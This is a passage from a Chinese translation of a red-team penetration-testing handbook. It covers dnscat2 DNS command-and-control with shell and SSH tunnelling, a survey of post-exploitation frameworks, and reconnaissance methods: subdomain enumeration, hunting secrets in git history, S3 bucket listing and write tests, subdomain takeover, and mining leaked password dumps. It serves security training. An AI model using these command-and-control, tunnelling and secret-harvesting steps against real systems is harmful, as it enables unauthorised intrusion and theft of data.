/dev/null 2>&1 &。\n这将确保如果客户端静荷因任何原因“死机”了，它将每小时生成一个新实例。有时只有一次机会让您的静荷执行，因此需要让它发挥作用！\n最后，如果想在Windows系统上运行这个静荷，您可以使用dnscat2静荷。为什么不在PowerShell中执行此操作？Luke Baggett写了一个关于dnscat客户端的PowerShell版本。\n3．dnscat2连接\n在静荷执行并回连到攻击者服务器之后，我们应该看到类似于下面的新的ENCRYPTED AND VERIFIED消息。通过输入“window”，dnscat2将显示所有会话。目前，我们可以看到图1.10中有一个名为“1”的会话。\n图1.10\n我们可以通过与命令会话交互，复制生成Shell。\n与第一个命令会话交互。 \nwindow -i 1\n运行Shell会话。 \nshell\n回到主会话。 \nCtrl-z\n与会话2交互。 \nwindow -i 2\n现在能够运行所有Shell命令（例如ls），如图1.11所示。\n图1.11\n虽然这不是最快的Shell，但是由于所有通信数据包都是通过DNS协议进行传输的，因此真正解决了Meterpreter或类似Shell无法回连的情况。dnscat2更大的优点是它完全支持隧道。这样的话，我们可以从本地主机发起漏洞攻击，使用浏览器来访问内部网站，甚至是通过SSH登录到设备上，这一切都是可能的。\n4．使用dnscat2建立隧道\n很多时候，攻击者服务器需要通过突破的主机，访问突破主机内网的其他服务器。使用dnscat2执行此操作的安全方法之一是本地端口路由我们的流量，接着通过隧道传输到网络内部主机。我们可以通过命令会话中的以下命令来完成这个例子。\nlisten 127.0.0.1:9999 10.100.100.1:22。\n创建隧道后，在攻击者主机终端根窗口，使用SSH命令登录本地9 999端口，我们可以返回攻击者计算机上的管理员终端窗口，通过SSH命令9 999端口连接到localhost，并通过被攻击者网络上的内部系统身份验证，如图1.12所示。\n图1.12\n这将提供各种有用的功能，一个很好的测试是检测客户的网络是否可以检测到大量的DNS查询和数据窃取。那么，请求和响应的数据包看起来是什么样的？通过快速的Wireshark数据截获，如图1.13所示的dnscat2创建了大量不同类型的DNS请求包，发送到不同类型长子域名。\n图1.13\n1.4.5 p0wnedShell\n正如在p0wnedShell的GitHub页面所介绍的，这个工具是用C＃编写的用于攻击目的的PowerShell主机应用程序，它不依赖于powershell.exe，而是在PowerShell运行空间环境（.NET）中运行PowerShell命令和函数。该工具包含许多攻击PowerShell模块和二进制模块，使后期漏洞利用过程更加容易。我们尝试的是建立一个“一体化”的包含所有相关工具的后漏洞利用工具，并借助它绕过所有安全防护机制（或至少绕过一些）。您可以使用p0wnedShell在活动目录环境中执行各种攻击，使防御团队产生防范意识，从而帮助他们构建正确的防御策略。\n1.4.6 Pupy Shell\nPupy 是一个开源、跨平台（Windows、Linux、macOS和Android）远程管理和后漏洞利用工具，主要用Python语言编写。\nPupy 的一个非常棒的功能是，您可以在所有代理上运行Python脚本，而无须在所有主机上实际安装Python。因此，Pupy是一个很方便的工具，能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。\n1.4.7 PoshC2\nPoshC2是一个代理，自适应命令和控制框架，完全用PowerShell编写，可以帮助渗透测试人员与红队开展团队合作，开展后漏洞利用和横向移动操作。PoshC2工具和模块是在PowerShell会话和Metasploit框架的静荷类型的基础上开发的。选择PowerShell作为基本语言，是因为它提供了所需的所有功能和丰富的特性，并且框架无须引入多种语言。\n1.4.8 Merlin\nMerlin基于最近开发的HTTP/2（RFC7540）协议。Per Medium解释：“HTTP/2通信是多路复用的，双向连接不会在一个请求和响应之后结束。此外，HTTP/2是一个二进制协议，具有更紧凑、易于解析等特点，不使用协议解析工具则无法理解HTTP/2内容。”\nMerlin是一个用Go语言编写的工具，界面和使用方法类似于PowerShell Empire，并且允许使用轻量级代理。它不支持任何类型的后漏洞利用模块，因此必须独立完成后续工作。\n1.4.9 Nishang\nNishang是一个包含大量脚本和静荷的框架，可以使用PowerShell开展攻击检测、渗透测试和红队行动。Nishang在渗透测试的所有阶段都很有用。\n虽然Nishang实际上是一个令人惊叹的PowerShell脚本的集合，但是也包括一些轻量级命令和控制的脚本。\n1.5 结论\n现在，您终于完成了工具和服务器配置，准备开始“战斗”。为各种场景做好准备可以帮助您“规避”网络检测工具、协议禁用以及基于主机的安全防护工具。\n对于本书中的实验，我创建了基于Kali Linux的完整虚拟机，包括各种工具。在黑客秘笈压缩包中，有一个名为List_of_Tools.txt的文本文件，其中包括了所有添加的工具。默认用户名/密码是root/toor。\n第2章 发球前——红队侦察\n在本书上一版中，这一章重点介绍如何使用不同的工具，如Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP屏幕截图、漏洞扫描和Burp Suite等工具。我们使用这些工具从外网或者内网，对被攻击者的基础网络实施侦察或扫描操作。我们将继续这一传统，从红队的角度进入侦察阶段。\n2.1 监控环境\n红队通常需要开展攻击。您不仅需要时刻准备好攻击基础架构，还需要不断地寻找漏洞。您可以使用各种工具扫描网络环境、查找服务和云配置错误等，完成操作。通过这些操作，您可以收集有关被攻击者基础网络的大量信息，并找到直接的攻击途径。\n2.1.1 常规Nmap扫描结果比较\n对于所有的客户，我们要做的第一件事就是设置不同的监控脚本。这些通常只是快速执行的bash脚本，脚本的功能是每天通过电子邮件向我们发送客户网络的变化。当然，在扫描之前，请确保您具有执行扫描的合法授权。\n对于通常不是很大的客户端网络，我们设置简单的定时任务来执行外部端口差异化的比较。例如，我们可以在Linux系统中创建一个快速bash脚本，完成这项烦琐的工作（记得替换IP地址范围）。\n#!/bin/bash。\nmkdir/opt/nmap_diff。\nd=$(date +%Y-%m-%d)。\ny=$(date -d yesterday +%Y-%m-%d)。\n/usr/bin/nmap -T4 -oX/opt/nmap_diff/scan_$d.xml 10.100.100.0/24 > /dev/null 2>&1。\nif [ -e/opt/nmap_diff/scan_$y.xml ]; then。\n/usr/bin/ndiff/opt/nmap_diff/scan_$y.xml/opt/nmap_diff/scan_$d.xml >/opt/nmap_ diff/diff.txt。\nfi。\n这是一个非常简单的脚本，功能是每天运行Nmap工具，扫描默认端口，然后使用ndiff工具比较结果，如图2.1所示。获得脚本输出的结果后，通知我们的团队每天发现的新端口。\n在本书上一版中，我们讨论了Masscan工具的优点以及它的扫描速度。Masscan的开发人员表示，如果拥有足够的网络带宽，您可以在6 min内完成整个互联网扫描。Masscan工具存在的一个问题是，大范围扫描时可靠性无法保证。Masscan工具对于我们前期的侦察很有帮助，但通常不用于端口差异的比较。\n实验\n本书中的实验是完全可选的。一些章节中已经介绍了用于执行测试的附加实验或者是您可以拓展的领域。由于这完全是为了学习和发现自己的兴趣点，强烈建议您花些时间更好地使用我们的工具，并在社区中分享工具的使用方法。\n图2.1\n搭建更详细的网络差异扫描器。\n相对于Nmap工具默认的端口列表，设置更详细的端口列表（如Nmap默认没有包括Redis 6379/6380等端口）。\n增加Nmap获取旗标的功能。\n保持端口的历史记录。\n搭建电子邮件警报/通知系统。\n检查差异Slack警报：http://bit.ly/2H1o5AW。\n2.1.2 网站截图\n除定期扫描开放端口/服务外，红队还需要监控不同的网站应用程序。我们可以使用两个工具监控网站应用程序的变化。\n第一个常用的网页截图工具是HTTPScreenshot。HTTPScreenshot的功能非常强大，它使用Masscan工具快速扫描大型网络，并使用PhantomJS工具记录检测到的任何网站的屏幕截图，如图2.2所示。这是快速获取大型内部或外部网络架构的好方法。\n请记住，本书中提到的所有工具都运行在定制的Kali虚拟机中。\ncd /opt/httpscreenshot/。\n编辑networks.txt文件，修改网络扫描参数。 \ngedit networks.txt\n./masshttp.sh。\nfirefox clusters.html。\n图2.2\n我推荐的另一个网页截图工具是Eyewitness。Eyewitness是很好的工具，它能够识别Nmap工具输出的XML文件，输出的结果包括截屏网页、RDP服务器和VNC服务器等信息，如图2.3所示。\n实验\ncd /opt/EyeWitness。\nnmap [IP Range]/24 --open -p 80,443 -oX scan.xml。\npython ./EyeWitness.py -x scan.xml -web。\n图2.3\n2.1.3 云扫描\n随着越来越多的公司开始使用各种云基础架构，网络中出现了许多新的攻击方式。这通常是由于配置错误以及不了解他们的云基础架构到底面临什么困境造成的。无论是亚马逊EC2、Azure、谷歌云还是其他一些云服务商，都存在此类问题，这个问题已成为全球性的问题。\n对于红队来说，面临的难题是如何在不同的云环境中进行搜索。由于许多用户使用动态IP，因此他们的服务器IP地址不仅快速变化，而且也没有在云服务商的固定地址范围列表中。例如，如果您使用AWS云服务（AWS云服务在全球范围内拥有巨大的IP地址范围），那么根据选择的区域，您的服务器可能被设置在/13掩码地址范围内。对于局外人来说，查找和监控这些服务器并不容易。\n首先，确定不同云服务商拥有的IP范围，如Amazon、Azure和Google Cloud。\n你可以看出这些地址范围很大，手动扫描非常困难。在本章中，我们将介绍如何获取有关这些云系统的信息。\n2.1.4 网络/服务搜索引擎\n如何找到云服务器？互联网上有大量免费的资源，我们可以基于这些资源对目标进行侦察。我们可以使用Google以及第三方扫描服务等方式。利用这些资源，我们无须主动探测，便能够深入地了解公司，查找服务器、开放服务、旗标和其他详细的信息。目标公司永远不会知道您查询过这类信息。作为红队，下面我们来了解如何利用这些资源。\n1．Shodan\nShodan是一项非常棒的服务，它定期扫描互联网，抓取旗标、端口和网络等多种信息。Shodan甚至还搜索漏洞信息，例如“心脏滴血”漏洞。Shodan的一个危险的用途就是查找未设置口令的网络摄像头，查看摄像头的内容。从红队的角度来看，我们希望找到有关被攻击者的信息。\n一些基本的搜索查询如下。\ntitle：搜索HTML标记中的内容。\nhtml：搜索返回页面的完整HTML内容。\nproduct：搜索Banner中标识的软件或产品的名称。\nnet：搜索给定的网络地址段（如204.51.94.79/18）。\n我们可以在Shodan上搜索cyberspacekittens。\n在HTML标记中搜索。 \ntitle:cyberspacekittens\n在页面上下文中搜索。 \nhtml:cyberspacekittens.com\n我注意到Shodan的扫描速度有点慢。它需要一个多月的时间才能扫描完我的服务器信息并放入Shodan数据库。\n2．Censys.io\nCensys会持续监控互联网上每个可访问的服务器和设备，因此您可以实时搜索和分析它们。您将能够了解自身网络的攻击面，发现新威胁并评估其全面的影响。Censys 极具特色的功能之一是它能从SSL证书中获取信息。通常，红队的主要困难之一是找到被攻击者的服务器在云服务器上的位置。幸运的是，我们可以使用Censys.io来查找这些信息，因为Censys已经解析了这些数据。\nCensys.io扫描存在的一个问题是扫描可能需要几天或几周的时间。在这种情况下，需要一天的时间来扫描标题信息。此外，在我的网站上创建SSL证书后，信息显示在Censys.io网站上需要4天的时间。在数据准确性方面，Censys.io非常可靠。\n下面，我们扫描目标cyberspacekittens.com，查找有关信息。通过解析服务器的SSL证书，我们能够确定目标服务器是在AWS上托管的，如图2.4所示。\n图2.4\n还有一个Censys脚本工具，可以通过脚本化过程查询子域名。\n2.1.5 人工解析SSL证书\n我们发现大多数公司几乎不会意识到自己在互联网上暴露了什么内容。特别是随着云服务应用的增加，许多公司并没有正确采取访问权限控制措施。这些公司认为自己的服务器已经受到保护，但是我们发现很多服务是对外开放的。这些服务包括Redis数据库、Jenkin服务器、Tomcat管理和NoSQL数据库等。其中许多服务导致远程代码执行或个人身份信息失窃。\n查找这些云服务器时，一种方法是在互联网上以自动方式人工获取SSL证书。我们根据云服务商提供的IP地址范围列表，定期扫描所有这些地址范围并下载SSL证书。通过查看SSL证书，我们可以了解关于一个组织的大量信息。针对网络安全猫公司IP地址的范围开展扫描，我们可以看到证书中的主机名，.int是内部服务器，.dev是研发主机，vpn是VPN服务器等，如图2.5所示。很多时候，您可以获得内部主机名，这些主机可能没有公共IP或内网允许访问的白名单IP地址。\n图2.5\n为了实现通过扫描获取证书中的主机名，为本书开发了sslScrape工具。该工具利用Masscan快速扫描大型网络。它能够识别端口443上的服务，并提取证书中的主机名，如图2.6所示。\n图2.6\n开始运行sslScrape。\ncd /opt/sslScrape。\npython ./sslScrape.py [IP地址掩码范围]。\n本书提供了示例和工具框架。但是，这些代码是否需要进一步开发取决于您。我强烈建议您将此代码作为基础，将所有主机名保存到数据库，开发网站前端交互界面，连接可能具有证书的其他端口，例如8443等，甚至可能会挖掘一些漏洞，例如.git/.svn类型漏洞。\n2.1.6 子域名发现\n在识别IP范围方面，我们通常可以从公共资源中查找公司的信息，例如美洲互联网号码注册管理机构（ARIN）。我们可以查询IP地址空间的注册人员，搜索公司拥有的网络，按组织查找自治系统编号等。如果我们在北美以外的地区寻找，那么可以通过AFRINIC（非洲）、APNIC（亚洲）、LACNIC（拉丁美洲）和RIPE NCC（欧洲）查询。这些机构都是可供公开查询的，在它们的服务器上可以进行检索。\n您可以通过许多可用的公共资源，查询任何主机名或正式域名，获取该域的所有者。您在这些地方查询不到子域名的信息。子域名信息存储在目标的DNS服务器上，而不是在某些集中的公共注册系统上。您必须知道如何搜索才能找到有效的子域名。\n为什么找到目标服务器子域名如此重要？有以下几个原因。\n某些子域可以指示服务器的类型（如dev、vpn、mail、internal和test），如mail.cyberspacekittens.com。\n某些服务器不响应IP查询。它们共享基础架构，仅对正规的域名进行响应。这在云基础架构上很常见。因此，即使一整天都在扫描，但是如果找不到子域名，您都不会真正了解那个IP地址上运行的应用程序。\n子域可以提供有关目标托管其服务器的位置信息。这是通过查找公司的所有子域，执行反向查找以及查找IP托管位置来完成的。一家公司可能同时使用多个云服务商和数据中心。\n在本书上一版中我们已经做了一些介绍，下面让我们回顾一下当前使用和新出现的工具，从而能够更好地开展子域名发现。欢迎加入并扫描cyberspacekittens.com域名。\n1．发现脚本\n发现脚本工具是我很喜欢的一个侦察/发现工具，在本书上一版中已经讨论过。我喜欢使用它的原因是它集成了Kali Linux中的多个侦察工具，并且定期维护。被动域名侦察将使用以下工具：ARIN、dnsrecon、goofile、goog-mail、goohost、theHarvester、Metasploit、URLCrazy、Whois、多个网站和recon-ng等。\ngit clone https://github.com/leebaird/discover/opt/discover/。\ncd /opt/discover/。\n./update.sh。\n./discover.sh。\nDomain。\nPassive。\n[Company Name]。\n[Domain Name]。\nfirefox/root/data/[Domain]/index.htm。\nDiscover脚本的最大优点是它能够搜集所需的信息，并根据这些信息继续搜索。例如，脚本搜索公共PGP存储库，在识别出电子邮件后，通过邮件地址在“Have I Been Pwned”网站继续搜索（使用Recon-NG脚本）。这样我们就可以第一时间知道这些邮件口令是否已经被公开泄露（您也要查询一下自己的邮件口令是否已经泄露）。\n2．Knock\n接下来，我们希望了解公司使用的所有服务器和域名。虽然子域名不是集中存储，但是我们可以使用工具（如Knock）暴力破解不同类型的子域名，从而可以识别哪些服务器或主机可能遭受攻击。\nKnockpy是一个Python工具，通过字典枚举目标域名的子域名。\nKnock 是一个很棒的子域名扫描工具，通过字典枚举子域名，并判断是否可以解析。因此，如果您想了解cyberspacekittens.com子域名，那么利用Knock工具获取下面网址的字典，并查看是否存在[subdomain] .cyberspacekittens.com子域名。这里需要注意的是，Knock 的扫描效果取决于您的字典。因此，拥有更好的字典将大大增加发现子域名的可能性。\n我最喜欢的子域名字典是由jhaddix生成的。您需要持续搜集子域名来生成字典。您可以在本书虚拟机镜像中找到其他字典，位置是/opt/SecLists。\n实验\n找到cyberspacekittens.com的所有子域名。\ncd /opt/knock/knockpy。\npython ./knockpy.py cyberspacekittens.com。\n使用了Knock的基本字典。尝试下载并使用更大的字典。尝试使用http://bit.ly/ 2qwxrxB列表，添加-u选项（python ./knockpy.py cyberspacekittens.com -u all.txt）。\n您是否从Discover脚本中发现了各种类型域名的差异？哪些类型的域名将是您“攻击”的首选目标或者可用于鱼叉式网络钓鱼攻击？到实际的网络环境中进行尝试吧。您可以参加一个漏洞悬赏项目，开始搜索有趣的子域名。\n3．Sublist3r\n前面已经说过，Knock存在的问题是子域名搜索效果与字典直接相关。有些公司设置了非常独特的子域名，这些子域名无法在常用的字典中找到。我们还可以利用搜索引擎。随着网站的信息被抓取，通过分析带有链接的文件，我们就可以获取很多网站的公共资源，这意味着我们可以使用搜索引擎完成这些烦琐的工作。\n这就是我们使用Sublist3r之类的工具的原因。请注意，使用Sublist3r这样的工具对应不同的“google dork”搜索查询，这种操作方式看起来像机器人操作。这可能会使您暂时被列入黑名单，并需要在每次请求时填写验证码，从而影响扫描结果。下面运行Sublister。\ncd /opt/Sublist3r。\npython sublist3r.py -d cyberspacekittens.com -o cyberspacekittens.com。\n您是否注意到暴力破解子域名可能不会有任何结果？在漏洞悬赏项目中进行实验，查看暴力破解和使用搜索引擎之间的巨大差异。\n4．SubBrute\n最后介绍的一个子域名搜索工具是SubBrute。SubBrute是一个社区项目，其目标是创建最快、最准确的子域名枚举工具。SubBrute工具的神奇之处在于它使用开放式解析器作为代理，从而规避DNS查询速率限制。\n工具设计采用了一个匿名层，因为 SubBrute 不会将流量直接发送到目标名称服务器。\nSubBrute不仅速度极快，而且还具有DNS爬虫特性，能够抓取DNS记录。下面运行SubBrute。\ncd /opt/subbrute。\n./subbrute.py cyberspacekittens.com。\n我们还可以拓展SubBrute功能，将其与MassDNS结合使用，从而实现非常高效的DNS解析。\n2.1.7 GitHub\nGitHub是一个不可思议的数据宝库。我们进行了大量的渗透测试和红队评估，从而获得了密码、API密钥、旧的源代码和内部主机名/IP地址等。这些信息可用于直接控制目标或者为下一次攻击提供帮助。我们看到的是，许多开发人员要么将代码推送到错误的仓库（将其发送到公共存储库而不是公司的私有存储库），要么不小心推送了敏感材料（如密码），然后尝试将其删除。GitHub 的一个特点是它可以在每次修改或删除代码时进行跟踪。这意味着即使仅一次将敏感代码推送到存储库并且删除了敏感文件，仍可以在代码更改记录中找到敏感代码。只要存储库是公共的，您就可以查看所有这些更改。\n我们可以使用GitHub搜索，甚至只使用简单的Google Dork搜索识别特定的主机名/组织名称。\nsite：github.com +“cyberspacekittens”。\n与其搜索以下示例中的cyberspacekittens，不如尝试使用不同的搜索引擎搜索漏洞悬赏项目。\n如前所述，当您在GitHub中编辑或删除文件时，所有的操作都被记录下来。幸运的是，在红队中，很多人都忘记了这个功能。因此，我们经常看到有人将敏感信息放入GitHub，删除它，并没有意识到它仍然存在！让我们看看是否能找到一些这样的信息。\nTruffle Hog\nTruffle Hog工具能够扫描不同的提交历史记录，查找高熵值的密钥，并打印这些内容。它非常适合用来查找密码、口令和密钥等。我们来看一看能否在cyberspacekittens的GitHub 存储库中找到一些“秘密”。\n实验\ncd /opt/trufflehog/truffleHog。\npython truffleHog.py https://github.com/cyberspacekittens/dnscat2。\n正如我们在图2.7所示的提交历史记录中看到的那样，AWS密钥和SSH密钥已从server/controller/ csk.config中删除。\n图2.7\n更好的工具是git-all-secrets（但设置起来有点复杂）。git-all-secrets适合用于查找大型组织。您可以指定一个组织，在本地复制代码，然后使用Truffle-hog和repo-supervisor工具进行扫描。您首先需要创建一个GitHub访问令牌，操作过程是创建GitHub并在设置中选择Generate New Token。\n运行git-all-secrets。\ncd /opt/git-all-secrets。\ndocker run -it abhartiya/tools_gitallsecrets：v3 - repoURL = https://github.com/ cyberspacekittens/dnscat2 -token = [API Key] -output = results.txt。\n复制代码库并开始扫描。你甚至可以设置-org，获取GitHub中的所有组织的代码。\n在容器运行完毕后，输入以下命令检索容器ID。 \ndocker ps -a\n在获得容器ID后，从容器中将结果文件复制到主机，输入以下命令。 \ndocker cp <container-id>：/data/results.txt\n2.1.8 云\n前面提到过，许多公司云服务的配置不正确，导致出现安全漏洞。常见问题如下。\nAmazon S3容器丢失。\nAmazon S3容器权限。\n能够列出文件并将文件写入公共AWS容器。 \naws s3 ls s3://[bucketname]\naws s3 mv test.txt s3://[bucketname]\n缺少日志。\n在开始测试不同AWS容器上的错误配置之前，我们需要先识别它们。下面我们尝试使用几种不同的工具，发现目标AWS基础架构的内容。\n1．S3容器枚举\n有许多工具可以枚举AWS的S3容器。这些工具通常采用关键字或列表，应用多个排列，然后尝试识别不同的容器。例如，我们可以使用一个名为Slurp的工具来查找有关目标CyberSpaceKittens的信息，如图2.8所示。\ncd /opt/slurp。\n./slurp domain -t cyberspacekittens.com。\n./slurp keyword -t cyberspacekittens。\n图2.8\n2．Bucket Finder\n另一个工具Bucket Finder不仅会尝试查找不同的容器，而且会从这些容器中下载所有内容进行分析，如图2.9所示。\nwget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2。\ncd /opt/bucket_finder。\n./bucket_finder.rb --region us my_words -download。\n图2.9\n现在我们查明了Cyber Space Kittens的基础架构，并确定了其中一个S3容器。在获取S3容器内容（有的能看到，有的看不到）时，您的第一步是做什么？您可以先在浏览器中输入网址，查看一些信息，如图2.10所示。\n图2.10\n在开始之前，我们需要创建一个AWS账户，获取访问密钥ID。您可以从亚马逊网站免费获取您的账户。创建账户后，登录AWS，获取您的安全凭证和访问密钥。一旦您获得AWS Access ID和密钥，就可以查询申请的S3容器了。\n查询S3容器并下载所有内容。\n安装awscli。 \nsudo apt install awscli\n配置凭据。 \naws configure\n查看CyberSpaceKittens的S3容器的权限。 \naws s3api get-bucket-acl --bucket cyberspacekittens\n从S3容器中读取文件。 \naws s3 ls s3://cyberspacekittens\n下载S3容器中的所有内容。 \naws s3 sync s3://cyberspacekittens\n在查询S3容器之后，接下来要测试的是该容器的写入权限。如果我们具有写访问权限，则可以完全控制容器中的应用程序。我们经常看到，当存储在S3容器中的文件在所有页面上使用时（如果我们可以修改这些文件），我们可以将恶意代码复制到Web应用程序服务器。\n写入S3，如图2.11所示。\necho \"test\" > test.txt。\naws s3 mv test.txt s3://cyberspacekittens。\naws s3 ls s3://cyberspacekittens。\n注意，写权限已从Everyone组中删除。这只是为了演示。\n图2.11\n3．修改AWS容器中的访问控制权限\n在分析AWS安全性时，我们需要检查对象和容器的权限控制。对象是单个文件，容器是逻辑存储单元。如果配置不正确，这两个权限可能会被用户任意修改。\n首先，我们查看每个对象，检查是否正确配置了这些权限。\naws s3api get-object-acl --bucket cyberspacekittens --key ignore.txt。\n我们看到该文件只能由名为“secure”的用户写入，并未对所有人开放。如果我们具有写访问权限，则可以使用s3api中的put-object函数来修改该文件。\n接下来，我们来查看是否可以修改容器。这可以通过以下方式实现，如图2.12所示。\naws s3api get-bucket-acl --bucket cyberspacekittens。\n图2.12\n同样，在这两种情况下，READ是全局许可的，但只有名为“secure”的账户才具有完全控制或任意写的权限。如果我们访问容器，那么可以使用--grant-full-control来完全控制容器和对象。\n4．子域名劫持\n子域名劫持是常见的漏洞，近期我们发现很多公司有这个漏洞。如果一家公司使用第三方CMS/内容/云服务商，将子域名指向这些服务商的平台，会发生什么情况？如果该公司忘记配置第三方服务或者忘记注销服务，攻击者可以从第三方服务商接管该子域名。\n例如，您注册名为testlab.s3.amazonaws.com的S3 Amazon容器。然后，您的公司的子域名testlab.company.com指向testlab.s3.amazonaws.com。一年后，您不再使用S3容器，并取消了testlab.s3.amazonaws.com注册，但忘记了testlab.company.com的别名记录的重定向配置。现在有人可以访问AWS并重新申请testlab.s3.amazon.com，并在被攻击者的域上拥有有效的S3容器。\ntko-subs工具可以检测子域名劫持漏洞。我们可以使用这个工具，检查任何指向CMS服务商（Heroku、GitHub、Shopify、Amazon S3、Amazon CloudFront等）的子域名是否可以被劫持。\n运行tko-subs。\ncd /opt/tko-subs/。\n./tkosubs -domains = list.txt -data = providers-data.csv output = output.csv。\n如果找到一个未注册的别名记录，那么可以使用tko-subs来接管GitHub页面和Heroku应用程序。否则，我们需要手动完成。以下两个工具也具有域名劫持功能。\nHostileSubBruteforcer。\nautoSubTakeover。\n2.1.9 电子邮件\n社会工程攻击的很大一部分工作是搜索电子邮件地址和员工姓名。在前面的章节中，我们提到了Discover Script，这个工具非常适合搜集电子邮件和员工姓名等数据。我通常首先使用Discover脚本，然后再使用其他工具挖掘数据。每个工具的工作方式略有不同，尽可能多地使用这些工具是非常有帮助的。\n获得一些电子邮件后，最好了解目标的电子邮件命名格式。目标是采用姓.名@ cyberspacekitten.com还是初始.姓@ cyberspacekittens.com的命名方式？一旦找出邮件的命名格式，我们就可以使用像LinkedIn这样的工具，找到更多的员工姓名，并尝试识别他们的电子邮件地址。\n1．SimplyEmail\n我们都知道，鱼叉式网络钓鱼仍然是非常有效的攻击方式。如果我们未发现公司网络的任何漏洞，那么只能“攻击”公司的员工。要构建一个有效的电子邮件地址列表，我们可以使用SimplyEmail工具。这个工具能够输出公司的电子邮件地址格式和有效用户列表。\n实验\n查找cnn.com的所有电子邮件账户。\ncd /opt/SimplyEmail。\n./SimplyEmail.py -all -v -e cyberspacekittens.com。\nfirefox cyberspacekittens.com <date_time>/Email_List.html。\n这可能需要运行很长时间，因为SimplyEmail工具会检索Bing、Yahoo、Google、Ask Search、PGP Repos和文件等，如图2.13所示。这也可能使您的网络看起来像搜索引擎的机器人，由于SimplyEmail工具会发起非常多的搜索请求，因此可能需要验证码。\n图2.13\n对您的公司进行这种检测。您是否看到了熟悉的电子邮件地址？这些邮件地址将是后续行动中的攻击目标。\n2．过去的泄露事件\n获取电子邮件地址的一种方法是持续监控和关注之前的泄露事件。我不想直接提供泄露文件的链接，但我会提供这些事件的名称。\n2017年密码泄露14亿次。\n2013年的Adobe泄露事件。\nPastebin Dumps。\nExploit.In Dumps。\nPastebin Google Dork。\n2.2 其他开源资源\n我不知道在哪里放置这些资源，但是我想提供一些其他红队攻击活动的资源。这有助于识别人员、位置、域名信息、社交媒体和图像分析等。\nOSINT链接的集合。\nOSINT框架。\n2.3 结论\n在本章中，我们简要介绍了各种不同的侦察策略和使用的工具。这只是一个开始，因为有太多工作需要手动完成，而且执行要花费大量时时间。您可以进阶到下一阶段，优化这些工具的自动化过程，使侦察变得快速而且高效。\n第3章 抛传——网站应用程序漏洞利用\n在过去几年中，我们经历了一些来自外部的严重网络攻击事件。Apache Struts 2网站（尽管Equifax事件还没有正式确认）、Panera网站和优步网站泄露了大量数据。毫无疑问，我们还会看到其他一些互联网网站，由于被攻击而导致严重的数据泄露事件。\n整个安全行业在以周期性的方式发展。如果查看OSI模型的各个层级，那么会发现攻击者每隔一年就转移到不同的层级。对于网站来说，早在21世纪初，就有大量的SQLi和RFI类型漏洞被攻击者利用。然而，一旦公司开始加固网站外部安全措施，并开始进行外部渗透测试，攻击者就转向最初进入点——第8层即社交工程（网络钓鱼）攻击。现在，正如我们看到的，公司通过下一代端点/防火墙提升内部的安全性，攻击者的重点转向应用程序漏洞利用。我们还看到应用程序、API和语言的复杂性大幅增加，这导致许多旧的漏洞重新出现，甚至产生新的漏洞。\n由于本书倾向于采用红队的思路，因此我们不会深入研究所有不同的Web漏洞或者如何手工利用这些漏洞。本书不会将Web漏洞逐一罗列。本书关注红队和“坏人”在现实世界中使用的漏洞，这些漏洞会导致个人身份信息、主机和网络泄露。如果您想详细了解网站漏洞类型，我强烈建议您参考《OWASP测试指南》一书。\n请注意，由于本书第2版中的很多攻击方法没有改变，因此在本章练习中我们将不再重复SQLMap、IDOR攻击和CSRF漏洞等示例。我们将关注更新、更重要的攻击方法。\n3.1 漏洞悬赏项目\n在开始介绍如何挖掘网站应用程序漏洞之前，我们先来了解一下漏洞悬赏项目。我们经常被问到的问题：“我怎样才能在这些训练后继续学习？”我的建议是针对真实的应用系统。您可能整天在训练、做实验，但是如果没有真实的目标环境，您很难提升能力。\n但有一点需要注意：平均而言，训练大约需要花费3～6个月的时间，之后您才能够持续发现漏洞。我们的建议：不要感到沮丧，与其他漏洞挖掘同行并肩前进，同时要经常挖掘旧程序的漏洞。\n常见的漏洞悬赏项目是HackerOne、BugCrowd和SynAck，还有很多其他的项目，这些项目可以提供0～2万美元甚至是更多的奖金。\n我的很多学生发现，查找漏洞的过程令人望而生畏。漏洞悬赏项目需要您深入了解项目，每天花费几个小时，并且要了解如何利用“第六感”来挖掘漏洞。通常来说，漏洞挖掘一个好的起点是从无赏金漏洞悬赏项目（专业人士不会在这里看）或者像Yahoo这样的大型、成立时间较长的网站开始。这些类型的站点往往具有大量的网络地址空间和很多传统的服务器。正如之前的书中所提到的，渗透测试规划很重要，漏洞悬赏项目也不例外。许多项目指定了可以做什么和不可以做什么（如不能扫描、不能使用自动化工具、哪些域名可以被攻击等）。有时您很幸运，项目允许对* .company.com开展漏洞挖掘，但有时可能只限于一个域名。\n让我们以eBay网站为例，该网站有一个公开的漏洞悬赏项目。漏洞悬赏项目明确了指南、可以攻击的域名、有效的漏洞类型、禁止攻击的目标，以及如何报告和确认，如图3.1所示。\n图3.1\n如何向公司报告漏洞通常与发现漏洞同等重要。我们都希望能够为公司提供尽可能详细的信息，包括漏洞类型、严重性/关键性、漏洞产生的步骤、屏幕截图，甚至是漏洞触发样本。如果您需要创建完善的报告，请查看报告生成表单，如图3.2所示。\n图3.2\n在运行自己开发的漏洞利用程序之前，对于漏洞悬赏项目，有一点需要注意的是，我看到在一些案例中，研究人员在发现漏洞后，后续操作已不局限于验证漏洞。\n举例说明，在找到SQL注入漏洞后，转储整个数据库，在接管子域名后用个人认为有趣的内容修改页面，甚至执行远程代码漏洞后，在生产环境中横向渗透。上述行为都有可能导致法律纠纷，并可能让联邦调查人员出现在您的家门口。因此，请您做出最理智的判断，确定项目的范围，并记住如果感觉想要做的事是违法的，那么它很可能就是违法的。\n3.2 Web攻击简介——网络空间猫\n完成侦察和探测后，您需要回顾和分析找到的所有各类站点。查看结果，未发现存在漏洞或者配置错误的应用程序。没有任何Apache Tomcat服务器或者存在Heartbleed/ShellShock漏洞的服务器，似乎所有Apache Strut及其CMS应用程序漏洞都已经被打上补丁了。\n此时直觉可能会开始发挥作用，您开始在客户支持系统应用程序中探索。有些东西感觉不对劲，但是从哪里开始呢？\n本章中提到的所有攻击方法，都可以在本书自定义的VMWare虚拟机中重复实验。虚拟机可以在本书配套资源中免费获得。\n设置Web演示环境（客户支持系统）。\n下载本书定制的虚拟机。\n下载实验的完整命令列表。 \nhttps://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt\nhttp://bit.ly/2qBDrFo\n启动并登录虚拟机。\n虚拟机完全启动后，显示应用程序的当前IP地址。您无须登录VM，也无须提供密码，即可开始查找应用程序漏洞。\n由于这是在您自己的主机系统上托管的网站应用程序，因此需要在攻击者Kali系统上创建主机名记录。 